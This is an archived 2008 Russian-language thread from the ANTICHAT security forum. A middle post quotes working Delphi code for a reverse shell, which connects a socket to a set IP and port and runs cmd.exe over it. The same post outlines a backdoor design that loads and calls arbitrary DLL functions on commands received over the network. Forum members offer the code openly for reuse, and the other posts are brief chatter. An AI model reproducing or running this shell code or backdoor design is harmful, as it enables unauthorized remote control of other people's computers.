ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

03.10.2008, 02:13
|
|
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме: 3578960
Репутация:
468
|
|
Извини, в сабже не силен (сам знаешь=)), но тема интересна.
2all если таковые есть, выложите плиз, не хечется юзать не проверенное.
|
|
|

03.10.2008, 11:53
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Сообщение от slesh
Для простой демонстрации вот наспех написанный код
Код:
var
StartupInfo:_STARTUPINFOA;
ProcessInformation:_PROCESS_INFORMATION;
addr:tsockaddrin;
sock:thandle;
wsdata:TWSADATA;
const
shell_port=12345;
shell_ip='127.0.0.1';
begin
WSAStartup($202,wsdata);
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(shell_port);
addr.sin_addr.s_addr := inet_addr(shell_ip);
if Connect(sock, @addr, SizeOf(addr))<>0 then
begin
closesocket(sock);
exit;
end;
fillchar(StartupInfo,sizeof(StartupInfo),0);
StartupInfo.cb:=sizeof(StartupInfo);
StartupInfo.dwFlags:=$100;
StartupInfo.hStdInput:=sock;
StartupInfo.hStdOutput:=sock;
StartupInfo.hStdError:=sock;
CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок
Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.
slesh  ))) +++
|
|
|

03.10.2008, 13:23
|
|
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме: 379101
Репутация:
136
|
|
slesh а только щас дошло, я его представил в виде обычного шелла, тему не читал.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|